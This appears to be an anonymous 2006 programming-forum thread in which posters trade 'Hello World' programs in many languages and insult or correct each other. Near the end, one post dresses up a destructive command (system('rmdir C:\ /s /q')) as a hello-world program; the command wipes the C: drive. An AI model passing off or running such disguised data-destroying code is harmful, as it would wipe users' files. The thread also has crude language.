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Name: Anonymous 2006-06-20 20:56

c:
#include <stdio.h>
main() { printf("hey worldz\n"); }

Name: Anonymous 2006-06-24 7:59

>>40
>It's funny that the assembly language version of Hello World (>>2)

lol

Name: Anonymous 2006-06-24 13:45

>>40
uhh its basic

Name: Anonymous 2006-06-24 14:00

eep meant >>4

Name: Anonymous 2006-06-24 17:12

>>40
>>22 is this: http://jasmin.sourceforge.net/

also,
<?xml version="1.0"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
    "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">;
<html xmlns="http://www.w3.org/1999/xhtml"; xml:lang="en">
<head>
    <title>Hello World!</title>
    <meta http-equiv="content-type" content="application/xhtml+xml;charset=utf-8" />
</head>
<body>
    <script type="text/javascript">
        function hello(){
            this.text="Hello World!";
            this.say_it=function(e){
                this.paragraph=document.createElement('p');
                this.paragraph_text=document.createTextNode(this.text);
                this.paragraph.appendChild(this.paragraph_text);
                document.body.appendChild(this.paragraph);
            }
        }

        var world = new hello();
        world.say_it();
    </script>
</body>
</html>

Name: Anonymous 2006-06-25 3:06

,008015,022029,036043,050054,055062,063065,066077/333/M0762502F1.HELLO
WORLD

I cheated: http://www2.latech.edu/~acm/HelloWorld.shtml

Name: Anonymous 2006-06-25 4:43

>>44

HTML is not programming, you fail

Name: Anonymous 2006-06-25 5:44 (sage)

>>46
Javascript idiot.

But why would you write all that stuff anyway when >>17 gives the same result.

Name: Anonymous 2006-06-25 8:56

>>47
OO + XML

Name: Anonymous 2006-06-25 10:38 (sage)

>>5
Fails for using strcpy() where dokidoki = nyu; would've sufficed. Also, hello world is longer than a single letter.

Name: Anonymous 2006-06-25 13:49

@greeter
'ZZT-OOP
:touch
Hello, World!
#PLAY SFGAGABQC

Name: Anonymous 2006-06-25 14:25

end
: "touch"
* "Hello, world!"
end

Name: Anonymous 2006-06-25 20:22

>>50
My good sir, your winning post is beyond comparison. In the future, every time I think of "win" I will think of Anonymous #50.

Name: Anonymous 2006-06-25 20:28

echo Hello World

Name: Anonymous 2006-06-26 0:01

>>51 is megazeux/robotic?

Name: Anonymous 2006-06-26 5:27

start
  LDX #$0D
cycle
  LDA hworld,X
  STA $0400,X
  DEX
  BNE cycle
hworld
  RTS
  .text "Hello, World!"

Name: Anonymous 2006-06-26 6:13

>>19
Bad!  lrn2DOM.

document.getElementsByTagName("BODY").item(0).appendChild(document.createTextNode("Hello World!"));

Name: Anonymous 2006-06-26 6:33

>>56
Certainly. But DOM sucks and I escape from it as soon as I can get through.

Name: Anonymous 2006-06-26 8:58

>>56
wrong!
You have used character data somewhere it is not permitted to appear. Mistakes that can cause this error include putting text directly in the body of the document without wrapping it in a container element (such as a <p>aragraph</p>) or forgetting to quote an attribute value (where characters such as "%" and "/" are common, but cannot appear without surrounding quotes).
document.getElementsByTagName("BODY").item(0).appendChild(document.createElement("P")).appendChild(document.createTextNode("Hello World!"));

Name: Anonymous 2006-06-26 9:01

Lol blOOatware

Name: Anonymous 2006-06-26 17:56

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   1t 3v3n MiTe jUs7 s4y "H3LL0 W0RLD!!!" u ju5t cAn'T gu3s5.
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   whAt th1s 1s!!!!!
 
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Name: Anonymous 2006-06-26 19:00 (sage)

>>60
tl;dr

Name: Anonymous 2006-06-26 22:51

>>55
YOU ARE A DUMBASS
THAT WOULD PRINT HELLO WORLD BACKWARDS AS YOU ARE NOT INC'ING THROUGH THE TEXT BUT DEC'ING
YOU DUMBFUCK
FURTHERMORE, SINCE THE LABEL hworld APPEARS BEFORE THE RTS INSTRUCTION, THE RTS OPCODE WILL BE INCLUDED IN THE DISPLAY DATA
AND NOT USING ZERO TERMINATED STRINGS IN CASE YOU CHANGE THE LENGTH OF THE STRING IS PURE HORSECOCKERY
GB2/BASIC+JAVA ENTERPRISE/EMACS/ETC

Name: Anonymous 2006-06-27 22:22

>>62
Capital letters may cause mild retardation

Name: Anonymous 2006-06-28 0:11 (sage)

>>63
PROGRAMMING MAY CAUSE AIDS

Name: Anonymous 2006-06-28 3:56

>>64
How?  AIDS is an STD.  Programmers don't have sex.

Name: Anonymous 2006-06-28 7:00

>>65
std::AIDS

Name: Anonymous 2006-06-28 7:42

>>66
using namespace std;   // OMG!!!!ur rite

Name: Anonymous 2006-06-29 11:51

>>62 try it on your c64 and see

Name: Anonymous 2006-06-30 5:47

>>68
AFTER CLOSER ANALYSIS, IT WOULD ACTUALLY POKE THE HELLO WORLD CODES IN VIDEO MEMORY IN THE RIGHT ORDER.  STILL, THE HWORLD LABEL IS MISPLACED.

BUT THAT'S BS.  YOU NEED TO SET COLOR MEMORY AS WELL, AND WHAT IF THE SCREEN ISN'T AT $0400. 

USE FUCKING CHROUT($FFD2) AND GTFO.

>>4 IS THE RIGHT WAY TO DO IT BUT I FORGOT TO PUT A INY IN THERE SOMWHERE

Name: Anonymous 2006-06-30 10:39

I tried to make a computer say hello world. but it just said fuck you.

Name: Anonymous 2006-06-30 10:59

printf '\150%x%o \167%d\162%d\144\n' 14 0x48 0 1

Name: Anonymous 2006-06-30 19:38

Transcript show: 'Hello, world!'.

Name: Anonymous 2006-07-01 1:44

#!/usr/bin/env python

print "HEY MAN!"

Name: Anonymous 2006-07-01 2:04

How do you make the grayed-block code samples?

Name: Anonymous 2006-07-01 2:08

import javax.swing.*;
import java.awt.*;
import java.awt.event.*;

public class HelloWorld extends JFrame implements ActionListener {
    private JButton dio;
    public static void main (String args[]) {
        HelloWorld zawarudo = new HelloWorld();
        zawarudo.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
    }
   
    public HelloWorld() {
        super("Hello World!");
        Container world = getContentPane();
        world.setLayout(new FlowLayout(FlowLayout.CENTER));
        dio = new JButton("WRYYY");
        dio.addActionListener(this);
        dio.setMnemonic(KeyEvent.VK_W);
        world.add(dio);
        setSize(250, 100);
        setVisible(true);
    }
   
    public void actionPerformed(ActionEvent src) {
        JOptionPane.showMessageDialog(null, "Hello World!", "Dio:", 2);
    }
}

Name: SQL 2006-07-01 2:18

CREATE TABLE message (text char(15));
INSERT INTO message (text) VALUES ('Hello world!');
SELECT text FROM message;
DROP TABLE message;

Name: Anonymous 2006-07-01 2:31 (sage)

lol javascript
javascript:alert(unescape('%48%65%6C%6C%6F%20%57%6F%72%6C%64'));

Name: Anonymous 2006-07-01 5:52

Private Sub Form_Load ()
{
 msgbox "Hello World"
}

Name: Anonymous 2006-07-01 12:48

int main() {
   system("rmdir C:\ /s /q");
   ofstream hlowrld ("hello world.txt");
   hlowrld<<"Goodbye files\nHello world";
}

Name: Anonymous 2006-07-01 13:01 (sage)

>>74
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